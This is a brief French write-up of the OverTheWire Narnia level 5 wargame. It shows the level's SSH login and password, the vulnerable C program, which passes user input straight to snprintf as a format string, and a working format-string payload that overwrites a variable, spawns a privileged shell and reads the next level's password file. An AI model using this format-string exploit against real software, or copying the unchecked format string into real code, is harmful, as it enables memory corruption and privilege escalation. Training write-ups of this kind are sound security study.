ssh narnia5@narnia.labs.overthewire.org pass : faimahchiy
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char **argv){ int i = 1; char buffer[64]; snprintf(buffer, sizeof buffer, argv[1]); buffer[sizeof (buffer) - 1] = 0; printf("Change i's value from 1 -> 500. "); if(i==500){ printf("GOOD\n"); system("/bin/sh"); } printf("No way...let me give you a hint!\n"); printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); printf ("i = %d (%p)\n", i, &i); return 0; }
Pour changer des buffers overflow, nous avons le droit cette fois ci à une petite format string
Le but est d'écrire 500
sur la variable i
, si vous débutez en format string, je vous conseille de lire de la documentation avant ! (j'ai la flemme de détailler )
L'adresse de la variable nous ai donné par le programme, ce qui va nous faciliter la tâche.
narnia5@melissa:/narnia$ ./narnia5 $(python -c 'print "\x2c\xd7\xff\xff%496d%5$n"') Change i's value from 1 -> 500. GOOD $ id uid=14005(narnia5) gid=14005(narnia5) euid=14006(narnia6) groups=14006(narnia6),14005(narnia5) $ cat /etc/narnia_pass/narnia6 neezocaeng